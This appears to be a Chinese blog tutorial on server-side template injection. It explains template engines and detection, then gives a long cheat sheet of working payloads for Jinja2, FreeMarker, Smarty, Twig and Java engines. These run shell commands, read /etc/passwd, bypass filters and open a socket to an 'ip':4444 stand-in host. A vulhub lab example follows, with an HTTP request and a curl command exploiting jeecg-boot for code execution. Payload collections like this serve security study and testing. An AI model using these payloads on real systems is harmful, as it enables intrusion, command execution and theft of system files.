SSTI模板注入
模板引擎的作用是将动态数据与模板文件(通常是HTML等标记语言文件)结合,生成最终输出内容。它的主要功能是帮助开发者更方便地构建可重用、易维护的Web页面或应用界面。
数据与视图分离:模板引擎使前端的界面设计和后端的数据逻辑解耦。前端开发者可以专注于页面的布局和样式,后端开发者可以处理数据和逻辑,两者之间通过模板引擎传递数据。
动态内容渲染:模板引擎可以根据后台传入的数据动态地生成HTML内容,允许在页面渲染时插入变量值、执行条件判断、循环等。
提高代码复用性:页面中的相同结构或内容可以通过模板进行复用,避免重复编写相似代码,提高了代码的可维护性和复用性。
简化页面生成:模板引擎提供一些简单的语法来处理复杂的渲染需求(如条件语句、循环、格式化等),使开发者不必手动拼接字符串生成HTML。
当后端在使用模板引擎对网页内容进行渲染时, 有可能会出现SSTI注入漏洞
模板引擎种类
| 模板引擎 | 平台 |
|---|---|
| Mako | Python |
| Jinja2 | Python |
| Python (code eval) | Python |
| Tornado | Python |
| Nunjucks | JavaScript |
| Pug | JavaScript |
| doT | JavaScript |
| Marko | JavaScript |
| JavaScript (code eval) | JavaScript |
| Dust (<= helpers@1.5.0 | JavaScript |
| EJS | JavaScript |
| Ruby (code eval) | Ruby |
| Slim | Ruby |
| ERB | Ruby |
| Smarty (unsecured) | PHP |
| PHP (code eval) | PHP |
| Twig (<=1.19) | PHP |
| Freemarker | Java |
| Velocity | Java |
原理:
用户代入到服务端的内容会被模板引擎解析
漏洞容易出现的环境:
非REST风格的, 并且为MVC架构的网站
漏洞出现的功能点:
- 后台的编辑网页
- 编辑个人信息
- 通过后端选择页面语言等等
探测
- 算术表达式运算
使用枚举的方式,代入${3*3},如果存在模板解析会返回结果9,证明这个点会解析模板表达式

- 引发报错
在插入字符串类型的数据处fuzz,若存在模板解析,会引发报错,还有可能暴露出模板引擎的类型。
freemaker模板注入
FreeMarker是用于生成文本输出(如HTML网页)的模板引擎。它允许开发者通过创建模板文件,在模板中插入动态数据,将数据和模板结合生成最终的输出内容。FreeMarker使用基于文本的模板来构建动态内容,支持灵活的模板语法和丰富的功能,是流行的模板引擎之一。
表达式payload
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
*{7*7}
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True,stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat/etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__%}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"netstat\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"uname\\\",\\\"-a\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__%}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\",\"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
实例
jeecg-boot/积木报表基于SSTI的任意代码执行漏洞
使用docker启动vulhub容器

进入实例后可看到报表页面
通过
http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql
sql参数传递freemarker
payload:
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 105
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami \") }'" }
或者
curl --location 'http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql' \
--header 'Content-Type: application/json' \
--data '{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch
/tmp/success\")}",
"type": "0"
}'
END
文章标题:SSTI(Server-side template injection) 模板注入
文章链接:https://morningstar.xin/?post=96
本站文章均为原创,未经授权请勿用于任何商业用途
